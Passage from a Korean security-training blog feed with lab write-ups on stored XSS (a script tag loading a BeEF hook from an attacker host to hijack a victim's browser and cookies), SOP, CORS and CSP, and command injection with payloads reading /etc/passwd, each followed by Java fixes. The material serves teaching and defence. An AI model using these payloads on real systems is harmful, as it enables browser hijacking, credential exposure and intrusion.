<p><a href="http://victim:8080/openeg">http://victim:8080/openeg</a> (id: test / pw :test) &gt; 게시판 &gt; 쓰기</p>
<pre><code class="language-html">&lt;script src=&quot;http://attacker:3000/hook.js&quot;&gt;&lt;/script&gt;</code></pre>
<p>위 스크립트가 있는 게시물 작성
<img src="https://velog.velcdn.com/images/p-jina/post/cbe82dcf-0fcd-4e7f-a1d3-652c0fb2861a/image.png" alt=""></p>
<p>winXP에서 <a href="http://victim:8080/openeg">http://victim:8080/openeg</a> 접속 &gt; 다른 계정으로 로그인 &gt; 게시판 &gt; Kali에서 작성한 게시물 조회
<img src="https://velog.velcdn.com/images/p-jina/post/2fc5268a-a262-4917-a2b5-10724049d4c6/image.png" alt=""></p>
<p>Kali에서 Beef Control Panel에서 확인하면 감염된걸 확인할 수 있다. winXP는 이제 좀비컴퓨터다.
<img src="https://velog.velcdn.com/images/p-jina/post/28016387-1213-480c-8eb6-b9744c431206/image.png" alt=""></p>
<blockquote>
<p><strong>Commands 탭에 Module Tree에 색상별 의미</strong>
<img src="https://velog.velcdn.com/images/p-jina/post/b2088f89-5662-4bcb-bdac-363f3cbb4a0f/image.png" alt=""></p>
</blockquote>
<p><span style="color:#B9D64F">●</span> : 명령 모듈은 대상에게 작동하며 사용자에게 보이지 않습니다.
<span style="color:#C8C8C8">●</span> : 명령 모듈이 이 대상에게 작동하는지 아직 확인되지 않았습니다.
<span style="color:#F28536">●</span> : 명령 모듈은 대상에게 작동하지만 사용자에게 보일 수 있습니다.
<span style="color:#D84B19">●</span> : 명령 모듈이 이 대상에게 작동하지 않습니다.</p>
<p>감염된 PC(winXP)의 쿠키를 가져올 수 있다.</p>
<p>감염된 PC(winXP)를 강제로 다른 페이지로 이동시킬 수 있다.
Hooked Browsers에서 victim 선택 &gt; Commands 탭 &gt; Module Tree &gt; Browser폴더에서 Redirect Browser 클릭 &gt; Redirect Browser URL 변경 &gt; Excute
<img src="https://velog.velcdn.com/images/p-jina/post/f55a6e0b-8dc9-4c94-a9f9-c3a929465453/image.png" alt=""></p>
<p><strong>안전한 코드로 변경하는 방법</strong>
(방법1) MVC구조에서 Controller에 해당하는 부분에서 필터링</p>
<pre><code class="language-java">// BoardController.java
@RequestMapping(&quot;/view.do&quot;)
public ModelAndView boardView(HttpServletRequest request) {
    int idx = Integer.parseInt(request.getParameter(&quot;idx&quot;));
    BoardModel board = service.getOneArticle(idx);

    service.updateHitcount(board.getHitcount() + 1, idx);

    List&lt;BoardCommentModel&gt; commentList = service.getCommentList(idx);

    ModelAndView mav = new ModelAndView();
    mav.addObject(&quot;board&quot;, board);
    mav.addObject(&quot;commentList&quot;, commentList);
    mav.setViewName(&quot;/board/view&quot;);
    return mav;
}</code></pre>
<pre><code class="language-java">// BoardController.java
@RequestMapping(&quot;/view.do&quot;)
public ModelAndView boardView(HttpServletRequest request) {
    int idx = Integer.parseInt(request.getParameter(&quot;idx&quot;));
    BoardModel board = service.getOneArticle(idx);

    // (1) 조회한 게시판 정보(번호,제목,내용,작성자,..)에서 게시판 내용 추출
    String content = board.getContent();

    // (2) lucy를 이용해서 안전한 문자열로 변경
    XssFilter filter = XssFilter.getInstance(&quot;lucy-xss-superset.xml&quot;);
    content = filter.doFilter(content);
    System.out.println(&quot;AFTER &gt;&gt;&gt; &quot;+content);

    // (3) 안전하게 변경한 내용을 다시 게시판 정보에 추가
    board.setContent(content);

    service.updateHitcount(board.getHitcount() + 1, idx);

    List&lt;BoardCommentModel&gt; commentList = service.getCommentList(idx);

    ModelAndView mav = new ModelAndView();
    mav.addObject(&quot;board&quot;, board);
    mav.addObject(&quot;commentList&quot;, commentList);
    mav.setViewName(&quot;/board/view&quot;);
    return mav;
}</code></pre>
<p>스크립트가 문자열 그대로 출력되는 것을 확인할 수 있다.
<img src="https://velog.velcdn.com/images/p-jina/post/2ce710f6-e879-484d-9b03-8e8f73d749aa/image.png" alt=""></p>
<p>(방법2) MVC구조에서 View에 해당하는 부분에서 필터링</p>
<pre><code class="language-html">&lt;!-- board/list.jsp --&gt;
&lt;table border=&quot;0&quot; class=&quot;boardTable&quot;&gt;
    &lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;글번호&lt;/th&gt;
        &lt;th&gt;제목&lt;/th&gt;
        &lt;th&gt;작성자&lt;/th&gt;
        &lt;th&gt;댓글수&lt;/th&gt;
        &lt;th&gt;조회수&lt;/th&gt;
        &lt;th&gt;추천수&lt;/th&gt;
        &lt;th&gt;작성일&lt;/th&gt;    
    &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
    &lt;c:forEach var=&quot;board&quot; items=&quot;${boardList}&quot;&gt;
    &lt;tr&gt;
        &lt;td class=&quot;idx&quot;&gt;${board.rnum}&lt;/td&gt;
        &lt;td align=&quot;left&quot; class=&quot;subject&quot;&gt;
            &lt;c:if test=&quot;${board.comment &gt;= 10}&quot;&gt;&lt;img src=&quot;&lt;%=request.getContextPath()%&gt;/img/hit.jpg&quot; /&gt;&lt;/c:if&gt;
            &lt;a href=&quot;view.do?idx=${board.idx}&quot;&gt;${board.subject}&lt;/a&gt;&lt;/td&gt;
        &lt;td class=&quot;writer&quot;&gt;&lt;c:choose&gt;&lt;c:when test=&quot;${board.writerId == userId}&quot;&gt;&lt;strong&gt;${board.writer}&lt;/strong&gt;&lt;/c:when&gt;&lt;c:otherwise&gt;${board.writer}&lt;/c:otherwise&gt;&lt;/c:choose&gt;&lt;/td&gt;
        &lt;td class=&quot;comment&quot;&gt;${board.comment}&lt;/td&gt;
        &lt;td class=&quot;hitcount&quot;&gt;${board.hitcount}&lt;/td&gt;
        &lt;td class=&quot;recommendcount&quot;&gt;${board.recommendcount}&lt;/td&gt;
        &lt;td class=&quot;writeDate&quot;&gt;${board.writeDate}&lt;/td&gt;        
    &lt;/tr&gt;
    &lt;/c:forEach&gt;
    &lt;/tbody&gt;
&lt;/table&gt;</code></pre>
<pre><code class="language-html">&lt;!-- board/list.jsp --&gt;
&lt;%@ taglib prefix=&quot;c&quot; uri=&quot;http://java.sun.com/jsp/jstl/core&quot; %&gt;

&lt;table border=&quot;0&quot; class=&quot;boardTable&quot;&gt;
    &lt;thead&gt;
    &lt;tr&gt;
        &lt;th&gt;글번호&lt;/th&gt;
        &lt;th&gt;제목&lt;/th&gt;
        &lt;th&gt;작성자&lt;/th&gt;
        &lt;th&gt;댓글수&lt;/th&gt;
        &lt;th&gt;조회수&lt;/th&gt;
        &lt;th&gt;추천수&lt;/th&gt;
        &lt;th&gt;작성일&lt;/th&gt;    
    &lt;/tr&gt;
    &lt;/thead&gt;
    &lt;tbody&gt;
    &lt;c:forEach var=&quot;board&quot; items=&quot;${boardList}&quot;&gt;
    &lt;tr&gt;
        &lt;td class=&quot;idx&quot;&gt;${board.rnum}&lt;/td&gt;
        &lt;td align=&quot;left&quot; class=&quot;subject&quot;&gt;
            &lt;c:if test=&quot;${board.comment &gt;= 10}&quot;&gt;&lt;img src=&quot;&lt;%=request.getContextPath()%&gt;/img/hit.jpg&quot; /&gt;&lt;/c:if&gt;
            &lt;a href=&quot;view.do?idx=${board.idx}&quot;&gt;${board.subject}&lt;/a&gt;&lt;/td&gt;
        &lt;td class=&quot;writer&quot;&gt;&lt;c:choose&gt;&lt;c:when test=&quot;${board.writerId == userId}&quot;&gt;&lt;strong&gt;${board.writer}&lt;/strong&gt;&lt;/c:when&gt;&lt;c:otherwise&gt;${board.writer}&lt;/c:otherwise&gt;&lt;/c:choose&gt;&lt;/td&gt;
          &lt;!-- 서버에서 가져오는 DB정보를 jstl에서 c:out태그를 통해 가져오기 --&gt;
        &lt;td class=&quot;comment&quot;&gt;&lt;c:out value=&quot;${board.comment}&quot; /&gt;&lt;/td&gt;
        &lt;td class=&quot;hitcount&quot;&gt;&lt;c:out value=&quot;${board.hitcount}&quot; /&gt;&lt;/td&gt;
        &lt;td class=&quot;recommendcount&quot; /&gt;&lt;c:out value=&quot;${board.recommendcount}&quot; /&gt;&lt;/td&gt;
        &lt;td class=&quot;writeDate&quot; /&gt;&lt;c:out value=&quot;${board.writeDate}&quot; /&gt;&lt;/td&gt;        
    &lt;/tr&gt;
    &lt;/c:forEach&gt;
    &lt;/tbody&gt;
&lt;/table&gt;</code></pre>
<h2 id="3-origin">3. Origin</h2>
<h3 id="31-정의">3.1. 정의</h3>
<ul>
<li>웹 콘텐츠의 출처(origin)는 접근할 때 사용하는 URL의 스키마(프로토콜), 호스트(도메인), 포트로 정의</li>
<li>두 객체의 스키마, 호스트, 포트가 모두 일치하는 경우 같은 출처를 가졌다고 말한다.</li>
</ul>
<p><img src="https://velog.velcdn.com/images/p-jina/post/7ecc2141-28c1-4052-8c8b-65d6e9e6c402/image.png" alt=""></p>
<h2 id="4-sop">4. <a href="https://developer.mozilla.org/ko/docs/Web/Security/Same-origin_policy">SOP</a></h2>
<h3 id="41-정의">4.1. 정의</h3>
<ul>
<li>동일 출처 정책(Same Origin Policy)의 약어</li>
<li>어떤 출처에서 불러온 문서나 스크립트가 다른 출처에서 가져온 리소스와 상호 작용할 수 있는 방법을 제한하는 보안 메커니즘</li>
</ul>
<h3 id="42-목적">4.2. 목적</h3>
<ul>
<li>잠재적 악성 문서를 격리하여 가능한 공격 벡터를 줄이기 위함</li>
</ul>
<blockquote>
<p><strong>공격 벡터란?</strong>
공격자가 네트워크 또는 시스템에 침입하는 방법을 의미
공격 벡터를 줄인다. = 공격할 수 있는 경우의 수를 줄이겠다.</p>
</blockquote>
<h3 id="43-출처-정의">4.3. 출처 정의</h3>
<ul>
<li>프로토콜, 포트, 호스트가 같은 2개의 URL은 동일한 출처를 갖는다. </li>
<li><a href="http://store.company.com/dir/page.html">http://store.company.com/dir/page.html</a> 과 출처 비교 예시
<img src="https://velog.velcdn.com/images/p-jina/post/0a6727b3-48f8-4eca-9ad3-adfffc8ec71e/image.png" alt=""></li>
</ul>
<h3 id="44-출처-상속">4.4. 출처 상속</h3>
<ul>
<li><code>about:blank</code> 또는 <code>javascript:</code> URL이 있는 페이지에서 실행된 스크립트는 해당 URL이 포함된 문서의 출처를 상속 ⇒ 이런 유형의 URL에는 원본 서버에 대한 정보가 포함되어 있지 않기 때문</li>
</ul>
<h3 id="45-파일-출처">4.5. 파일 출처</h3>
<ul>
<li><code>file:///</code> 스키마 사용 시 출처를 불투명 출처로 간주</li>
<li><code>file:///</code> 스키마를 사용하여 로드한 경우 동일한 폴더에 있는 파일들이라 할지라도 각각의 파일이 서로 다른 출처로 간주된다. ⇒ CORS 오류 발생</li>
<li><code>http://</code> 또는 <code>https://</code> 스키마를 사용하여 파일에 접근해야 SOP를 준수할 수 있다.</li>
</ul>
<blockquote>
<p><strong><code>file:///</code> 스키마란?</strong>
로컬 파일 시스템에 접근하는 방법으로 웹 브라우저에서 file:/// 스키마를 사용하면 컴퓨터의 파일 시스템에 직접 접근 가능
예시) <code>file:///C:/Users/username/Documents/file.txt</code></p>
</blockquote>
<h3 id="46-교차-출처-네트워크-접근">4.6. 교차 출처 네트워크 접근</h3>
<ul>
<li>웹 브라우저가 <code>http://example.com</code> 에서 호스팅되고 있지만 <code>XMLHttpRequest</code> 나 <code>&lt;img&gt;</code> 를 통해 같은 출처 뿐만 아니라 다른 출처의 리소스를 가져올 수 있다.  </li>
<li>교차 출처로 삽입할 수 있는 리소스<ul>
<li><code>&lt;script src=&quot;…&quot;&gt;&lt;/script&gt;</code>를 사용하는 JavaScript. 구문 오류에 대한 오류 세부 정보는 동일 출처 스크립트에서만 사용할 수 있습니다.</li>
<li><code>&lt;link rel=&quot;stylesheet&quot; href=&quot;…&quot;&gt;</code>로 적용된 CSS. CSS의 완화된 구문 규칙으로 인해 교차 출처 CSS에는 올바른 Content-Type 헤더가 요구됩니다. 브라우저는 MIME 유형이 올바르지 않고 리소스가 유효한 CSS 구성으로 시작하지 않는 교차 출처 로드인 경우 스타일시트 로드를 차단합니다.</li>
<li><code>&lt;img&gt;</code>로 표시하는 이미지.</li>
<li><code>&lt;video&gt;</code> 와 <code>&lt;audio&gt; (en-US)</code>로 재생하는 미디어.</li>
<li><code>&lt;object&gt;</code>와 <code>&lt;embed&gt;</code>로 삽입하는 외부 리소스.</li>
<li><code>@font-face</code> 로 적용하는 글꼴. 일부 브라우저는 교차 충처를 허용하지만, 다른 브라우드는 동일 출처를 요구할 수도 있습니다.</li>
<li><code>&lt;iframe&gt; (en-US)</code> 으로 삽입하는 모든 것. 사이트는 X-Frame-Options 헤더를 사용하여 출처 간 프레이밍을 방지할 수 있습니다.</li>
</ul>
</li>
</ul>
<p>⇒ 교차 출처로 삽입할 수 있는 리소스 들은 대부분 <code>src</code> 속성을 사용해 외부 리소스 위치를 지정한다.</p>
<h2 id="5-cors">5. <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/CORS">CORS</a></h2>
<h3 id="51-정의">5.1. 정의</h3>
<ul>
<li>교차 출처 자원 공유(Cross-Origin Resource Sharing)의 약어</li>
<li><span style="color:#e06c75"><strong>서비스를 제공하는 사이트</strong></span>에서<code>Access-Control-Allow-Origin</code> 헤더를 사용하여, 리소스 사용 여부 지정</li>
<li>SOP 완화 정책</li>
</ul>
<blockquote>
<p><strong>서비스를 제공하는 사이트란?</strong> JavaScript를 이용해서 요청하는 사이트</p>
</blockquote>
<h3 id="52-목적">5.2. 목적</h3>
<ul>
<li>웹 보안을 유지하면서 웹 애플리케이션이 다른 출처의 리소스에 안전하게 접근할 수 있도록 하는 것</li>
</ul>
<h3 id="53-사용법">5.3. 사용법</h3>
<ol>
<li>서버 설정<ul>
<li>서버는 CORS를 지원하도록 설정
서버에 <code>Access-Control-Allow-Origin</code> 헤더를 포함시켜 CORS를 지원하도록 설정</li>
</ul>
</li>
<li>프리플라이트 요청<ul>
<li>내가 자바스크립트를 이용해 리소스를 요청하는 것이 허락되는지 미리 확인하는 단계</li>
<li>브라우저가 실제 요청을 보내기 전에 OPTIONS 메서드를 사용하여 서버에게 요청의 허용 여부를 미리 확인하는 것을 의미</li>
<li><code>GET</code> <code>HEAD</code> <code>POST</code></li>
</ul>
</li>
<li>클라이언트 설정<ul>
<li>클라이언트 측에서는 XMLHttpRequest 객체나 Fetch API를 사용하여 요청을 보낼 때 CORS를 사용하도록 설정 </li>
</ul>
</li>
<li>특정 요청 처리<ul>
<li>단순 요청(Simple requests)은 특정 조건을 충족하는 요청으로 CORS 프리플라이트를 트리거 X</li>
</ul>
</li>
</ol>
<h2 id="6-csp">6. <a href="https://developer.mozilla.org/ko/docs/Web/HTTP/CSP">CSP</a></h2>
<h3 id="61-정의">6.1. 정의</h3>
<ul>
<li>콘텐츠 보안 정책(Content Security Police)의 약어</li>
<li>교차 사이트 스크립팅(XSS)과 데이터 주입 공격을 비롯한 특정 유형의 공격을 탐지하고 완화하는 데 도움이 되는 추가 보안 계층 </li>
<li>브라우저에서 지원하는 기능</li>
</ul>
<h3 id="62-목적">6.2. 목적</h3>
<ul>
<li>크로스 사이트 스크립팅(XSS) 공격을 방어하기 위한 보안 정책<ul>
<li>브라우저에서 실행되는 스크립트를 특정한 도메인에서만 실행될 수 있도록 지정(화이트리스트 방식)</li>
<li>개발자가 작성한 스크립트 코드(브라우저가 실행)와 공격자가 작성한 스크립트 코드(브라우저가 실행 차단)를 구분하기 위한 방법</li>
</ul>
</li>
<li>패킷 스니핑 공격 완화<ul>
<li>콘텐츠를 로드할 수 있는 도메인 제한</li>
<li>사용할 수 있는 프로토콜 지정</li>
<li>쿠키 secure 속성 표시</li>
<li>HTTP페이지의 경우 해당 HTTPS페이지로 자동 리디렉션 제공</li>
<li><code>Strict-Transport-Security</code> 응답 헤더를 통해서 제공되는 정보를 이용해 판단</li>
</ul>
</li>
</ul>
<pre><code class="language-javascript">default-src &#39;none&#39;; 
script-src 
&#39;self&#39; 
// 믿을 수 있는 Internal 스크립트 코드의 해쉬를 정의
www.googletagmanager.com platform.twitter.com syndication.twitter.com &#39;sha256-ewTm8QMx/IkmbIFAIapvCHoCrGgIIHhn8qKC7/5Y2Ro=&#39; 
// (다음에 나오는 해쉬값을 가지는) 인라인 스크립트를 허용 
&#39;unsafe-hashes&#39;
&#39;sha256-mplq9U9bn5xLaFQjbIOde0Eu7cXsI2xaTPex2jLztp0=&#39;; 
style-src 
&#39;self&#39; 
cdnjs.cloudflare.com fonts.googleapis.com 
&#39;sha256-5g0QXxO6NfvHJ6Uf5BK/hqQHtso8ZOdjlnbyKtYLvwc=&#39;; 
font-src 
fonts.gstatic.com cdnjs.cloudflare.com; 
img-src 
&#39;self&#39; 
syndication.twitter.com; 
frame-src 
platform.twitter.com; 
connect-src 
www.google-analytics.com</code></pre>
<h3 id="63-사용-시-주의사항">6.3. 사용 시 주의사항</h3>
<ul>
<li>외부에서 스크립트 파일을 가져와서 사용해야한다.</li>
<li>Internal, Inline으로 작성된 스크립트는 개발자가 작성한 스크립트인지 공격자가 작성한 스크립트인지 판단할 수 없다.<pre><code class="language-html">&lt;!-- External --&gt;
&lt;script src=&quot;(문서 밖의) 스크립트 파일 주소&quot;&gt;&lt;/script&gt;        
</code></pre>
</li>
</ul>
<!-- Internal -->
<script>                                
   스크립트 코드
</script>

<!-- Inline -->
<img onclick="스크립트 코드" />                    
```
>**소스코드에 내부에 포함되어 있는 스크립트 코드의 해쉬를 추출**
https://report-uri.com/home/hash

<ul>
<li>CSP에 정의되어 있는 해시에 포함되지 않기 때문에 해당 스크립트 코드는 실행되지 않는다.<pre><code class="language-javascript">window.onload=function(){
  var jsNode = document.getElementById(&quot;jsNode&quot;);
  jsNode.innerHTML = &quot;&lt;h3&gt;CSP Not Supported&lt;/h3&gt;&quot; Your browser does not support CSP, the inline script executed and replaced this div content&quot;;
  jsNode.className=&quot;alert alert-danger&quot;;
}</code></pre>
<img src="https://velog.velcdn.com/images/p-jina/post/e8318188-2b9a-4543-b263-17b0f39ca5dd/image.png" alt=""></li>
<li>CSP에 정의되어 있는 해시에 포함되므로 해당 스크립트 코드 실행된다.<pre><code class="language-javascript">runHashTest();</code></pre>
<img src="https://velog.velcdn.com/images/p-jina/post/a96e9018-820e-4011-af29-d1a8d2cadcd4/image.png" alt=""></li>
<li>img-src는 디렉티브에 정의되지 않은 기원이므로 이미지를 가져와서 사용X<pre><code class="language-html">&lt;img src=&quot;hrrps://unsplash.it/200/200&quot; alt=&quot;CSP Should Block This Image From Loading&quot; id=&quot;cspImg&quot;&gt;</code></pre>
</li>
</ul>
]]></description>
        </item>
        <item>
            <title><![CDATA[[SK shieldus Rookies 16기][취약점 진단] Command Injection의 개요와 공격 실습]]></title>
            <link>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-Command-Injection%EC%9D%98-%EA%B0%9C%EC%9A%94%EC%99%80-%EA%B3%B5%EA%B2%A9-%EC%8B%A4%EC%8A%B5</link>
            <guid>https://velog.io/@p-jina/SK-shieldus-Rookies-16%EA%B8%B0-%EC%B7%A8%EC%95%BD%EC%A0%90-%EC%A7%84%EB%8B%A8-Command-Injection%EC%9D%98-%EA%B0%9C%EC%9A%94%EC%99%80-%EA%B3%B5%EA%B2%A9-%EC%8B%A4%EC%8A%B5</guid>
            <pubDate>Mon, 18 Dec 2023 04:22:20 GMT</pubDate>
            <description><![CDATA[<h2 id="1-command-injection">1. Command Injection</h2>
<h3 id="11-정의">1.1. 정의</h3>
<ul>
<li>어플리케이션에 <span style="color:#e06c75"><strong>운영체제 명령어(=Shell 명령어)를 실행하는 기능이 존재</strong></span>하는 경우</li>
<li><span style="color:#e06c75"><strong>외부 입력값을 검증하거나 제한하지 않고</strong></span>, 운영체제 명령어 또는 운영체제 명령어의 일부로 사용하는 경우 발생</li>
</ul>
<p>시스템의 제어권을 탈취하여 해당 시스템을 공격자 마음대로 제어하게 된다.</p>
<blockquote>
<p><strong>Shell이란?</strong> 사용자와 커널 사이에 있는 명령어 해석기</p>
</blockquote>
<blockquote>
<p><strong>외부 입력값을 검증하지 않았다?</strong> 추가 명령어 실행에 사용되는 <code>&amp;</code> <code>|</code> <code>;</code> 등의 문자열 포함 여부를 확인하지 않고 사용</p>
</blockquote>
<blockquote>
<p><strong>외부 입력값을 제한하지 않았다?</strong> 내부 로직에서 사용할 수 있는 명령어 또는 명령어 파라미터 값을 미리 정의하고, 정의된 범위 내에서 사용되도록 하지 않는 경우 ⇒ 화이트 리스트 방식으로 제한하지 않는 경우</p>
</blockquote>
<h3 id="12-제한-방법">1.2. 제한 방법</h3>
<p>입력값 제한 방법 </p>
<ul>
<li>화이트 리스트 방식(=허용 목록) : 정의된 목록 범위 내의 값만 사용하도록 제한 ⇒ &lt;&gt;새로운 입력 유형에 대해서도 동일한 보안성을 제공하기 때문에 안전</li>
<li>블랙 리스트 방식(=제한 목록) : 정의된 목록의 값을 사용하지 않도록 제한 ⇒ 모집합의 규모가 크고 변화가 심한 경우에 사용</li>
</ul>
<h3 id="13-예시">1.3. 예시</h3>
<p><strong>외부 입력값을 운영체제 명령어로 사용하는 경우</strong></p>
<pre><code class="language-java">// run.jsp
String cmd = request.getParameter(&quot;cmd&quot;);
Runtime.exec(cmd);</code></pre>
<p>개발자가 의도한 실행</p>
<pre><code class="language-shell">run.jsp?cmd=ipconfig # 서버의 네트워크 설정 정보 반환</code></pre>
<p>공격자가 조작한 실행</p>
<pre><code class="language-shell"># 의도하지 않은 명령어 실행으로 계정 정보 노출
run.jsp?cmd=cat /etc/passwd

# 의도하지 않는 추가 명령어 실행으로 계정 정보 노출
run.jsp?cmd=ifconfig &amp; cat /etc/passwd </code></pre>
<p><strong>외부 입력값을 운영체게 명령어 일부로 사용하는 경우 + 운영 체제 명령어의 파라미터로 사용되는 경우</strong></p>
<pre><code class="language-java">// view.jsp
String file = request.getParameter(&quot;file&quot;);
Runtime.getRuntime().exec(&quot;cat &quot; + file);</code></pre>
<p>개발자가 의도한 실행</p>
<pre><code class="language-shell"># cat 명령어의 일부(파라미터)로 사용하여 /data/upload/ 디렉토리 아래에 있는 myfile.txt 내용을 반환
view.jsp?file=/data/upload/myfile.txt</code></pre>
<p>공격자가 조작한 실행</p>
<pre><code class="language-shell"># 시스템 파일 내용 반환
view.jsp?file=/etc/passwd
# 추가 명령어 실행을 통해 시스템 파일 내용 반환
view.jsp?file=/data/dupload/myfile.txt &amp; cat /etc/passwd</code></pre>
<h3 id="14-방어-기법">1.4. 방어 기법</h3>
<ol>
<li>불필요한 운영체제 명령어 실행을 제거.</li>
<li>운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 화이트 리스트 방식으로 제한.
시스템 내부에서 사용할 운영체제 명령어 또는 운영체제 명령어의 파라미터로 사용될 값을 미리 정의하고 정의된 범위 내에서 사용되도록 제한.</li>
<li>추가 명령어 실행에 사용되는 <code>&amp;</code> <code>|</code> <code>;</code> 등의 문자가 포함되어 있는지 검증하고 사용.</li>
<li>외부에서 시스템 내부 처리를 유추할 수 없도록 코드화.</li>
</ol>
<h2 id="2-openeg">2. Openeg</h2>
<p>kali linux &gt; <a href="http://victim:8080/openeg">http://victim:8080/openeg</a> 접속
<img src="https://velog.velcdn.com/images/p-jina/post/9bfe4b56-d5e4-4044-a638-966c12229072/image.png" alt=""></p>
<p>소스코드 확인
<img src="https://velog.velcdn.com/images/p-jina/post/8c9b57c5-68ab-4998-bdf8-44e122f9c931/image.png" alt="">
Select에서 옵션 선택 후 실행 버튼 클릭 &gt; data 파라미터 값으로 type or dir이 서버로 전달된다.
dir을 선택 후 실행 버튼을 클릭했을 때 출력되는 결과를 보면 마치 명령 프롬프트에서 dir명령을 실행한 것과 유사하다.</p>
<p>사용자 화면에서 선택한 값은 아래와 같이 서버로 전달</p>
<pre><code class="language-shell">command_test.do?data=dir</code></pre>
<p>서버로 전달된 값은 명령어 실행에 사용될 것으로 추측</p>
<pre><code class="language-shell">Runtime.getRuntime().exec(&quot;dir&quot;);</code></pre>
<p>개발자 도구에서 설정된 명령어가 아닌 다른 명령어로 변경 후 전달
<img src="https://velog.velcdn.com/images/p-jina/post/e76ba62f-331d-4b26-9e37-740bf367aaa6/image.png" alt=""></p>
<p><img src="https://velog.velcdn.com/images/p-jina/post/dc71ba79-3d1f-4e56-a1df-55b26d3539d1/image.png" alt="">
한글 깨져서 나오지만 <code>ipconfig</code> 명령어가 실행된 것을 확인할 수 있다.</p>
<p><code>&amp;</code> 문자를 사용해 추가 명령어를 실행을 시도한다.
<img src="https://velog.velcdn.com/images/p-jina/post/39865411-4d4a-4c54-b143-f56d96fddf87/image.png" alt=""><img src="https://velog.velcdn.com/images/p-jina/post/a68ef958-d405-4fb4-93bd-231f89bf4ad4/image.png" alt="">
마찬가지로 한글이 깨져서 나오지만 <code>whoami</code> 명령어가 실행된 것을 확인할 수 있다.</p>
<p>기존 <code>TestController.java</code> 소스코드</p>
<pre><code class="language-java">@RequestMapping(value = &quot;/test/command_test.do&quot;, method = RequestMethod.POST)
    @ResponseBody
    public String testCommandInjection(HttpServletRequest request, HttpSession session) {
        StringBuffer buffer = new StringBuffer();
        /* 요청 파라미터 값이 data의 값 추출 */
        String data = request.getParameter(&quot;data&quot;);
        /* 요청 파라미터 값이 type인 경우 */
        if (data != null &amp;&amp; data.equals(&quot;type&quot;)) {
            /* 요청 파라미터 값을 &quot;type 현재 디렉터리\files\file1.txt로 변경&quot; */
            data = data + &quot; &quot; + request.getSession().getServletContext().getRealPath(&quot;/&quot;) + &quot;files\\file1.txt&quot;;
        }

        Process process;
        String osName = System.getProperty(&quot;os.name&quot;);
        String[] cmd;

        if (osName.toLowerCase().startsWith(&quot;window&quot;)) {
            /* 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경하는 과정 */
            cmd = new String[] { &quot;cmd.exe&quot;, &quot;/c&quot;, data };
            for (String s : cmd)
                System.out.print(s + &quot; &quot;);
        } else {
            cmd = new String[] { &quot;/bin/sh&quot;, data };
        }
        try {
            /* 요청 파라미터로 전달된 값을 운영체제 명령어로 사용 */
            process = Runtime.getRuntime().exec(cmd);
            InputStream in = process.getInputStream();
            Scanner s = new Scanner(in);
            buffer.append(&quot;실행결과: &lt;br/&gt;&quot;);
            while (s.hasNextLine() == true) {
                buffer.append(s.nextLine() + &quot;&lt;br/&gt;&quot;);
            }
        } catch (IOException e) {
            buffer.append(&quot;실행오류발생&quot;);
            e.printStackTrace();
        }
        return buffer.toString();
    }</code></pre>
<p>안전한 코드로 변경</p>
<pre><code class="language-java">/* (추가1) 해당 어플리케이션에서 사용할 명령어를 미리 정의 */
    private final String[] allowedCommands = { &quot;type&quot;, &quot;dir&quot; }; 

@RequestMapping(value = &quot;/test/command_test.do&quot;, method = RequestMethod.POST)
    @ResponseBody
    public String testCommandInjection(HttpServletRequest request, HttpSession session) {
        StringBuffer buffer = new StringBuffer();
        /* 요청 파라미터 값이 data의 값 추출 */
        String data = request.getParameter(&quot;data&quot;);
        /* (추가2) 요청 파라미터의 값이 미리 정의한 값의 범위에 포함되는지 확인 */
        List&lt;String&gt; temp = new ArrayList(Arrays.asList(allowedCommands));
        if (!temp.contains(data)) {
            return &quot;잘못된 입력입니다.&quot;;
        }

        if (data != null &amp;&amp; data.equals(&quot;type&quot;)) {
            /* 요청 파라미터 값을 &quot;type 현재 디렉터리\files\file1.txt로 변경&quot; */
            data = data + &quot; &quot; + request.getSession().getServletContext().getRealPath(&quot;/&quot;) + &quot;files\\file1.txt&quot;;
        }

        Process process;
        String osName = System.getProperty(&quot;os.name&quot;);
        String[] cmd;

        if (osName.toLowerCase().startsWith(&quot;window&quot;)) {
            /* 요청 파라미터로 전달된 값을 운영체제에서 실행 가능한 명령어로 변경하는 과정 */
            cmd = new String[] { &quot;cmd.exe&quot;, &quot;/c&quot;, data };
            for (String s : cmd)
                System.out.print(s + &quot; &quot;);
        } else {
            cmd = new String[] { &quot;/bin/sh&quot;, data };
        }
        try {
            /* 요청 파라미터로 전달된 값을 운영체제 명령어로 사용 */
            process = Runtime.getRuntime().exec(cmd);
            InputStream in = process.getInputStream();
            Scanner s = new Scanner(in);
            buffer.append(&quot;실행결과: &lt;br/&gt;&quot;);
            while (s.hasNextLine() == true) {
                buffer.append(s.nextLine() + &quot;&lt;br/&gt;&quot;);
            }
        } catch (IOException e) {
            buffer.append(&quot;실행오류발생&quot;);
            e.printStackTrace();
        }
        return buffer.toString();
    }</code></pre>
<p><img src="https://velog.velcdn.com/images/p-jina/post/fa66d78a-cad0-48b2-9ca5-b15175c5767f/image.png" alt=""></p>
<p>서버 내부에서 처리에 사용하는 명령어가 전달되도록 되어 있음
기존<code>webapp/WEB-INF/test/test.jsp</code> 소스코드</p>
<pre><code class="language-java">...
(4) Command 인젝션  &lt;br /&gt;
            &lt;select name=&quot;data&quot; id=&quot;data5&quot;&gt;
              &lt;option value=&quot;type&quot;&gt;--- show File1.txt ---&lt;/option&gt;
              &lt;option value=&quot;dir&quot;&gt;--- show Dir ---&lt;/option&gt;
        &lt;/select&gt; &lt;input type=&quot;button&quot; id=&quot;button5&quot; value=&quot;실행&quot;&gt;
       &lt;/pre&gt;
...</code></pre>
<p>외부에서 내부 사용을 유추할 수 없도록 코드(0,1)로 변경</p>
<pre><code class="language-java">...
(4) Command 인젝션  &lt;br /&gt;
            &lt;select name=&quot;data&quot; id=&quot;data5&quot;&gt;
              &lt;option value=&quot;0&quot;&gt;--- show File1.txt ---&lt;/option&gt;
              &lt;option value=&quot;1&quot;&gt;--- show Dir ---&lt;/option&gt;
        &lt;/select&gt; &lt;input type=&quot;button&quot; id=&quot;button5&quot; value=&quot;실행&quot;&gt;
       &lt;/pre&gt;
...</code></pre>
<p><code>TestController.java</code></p>
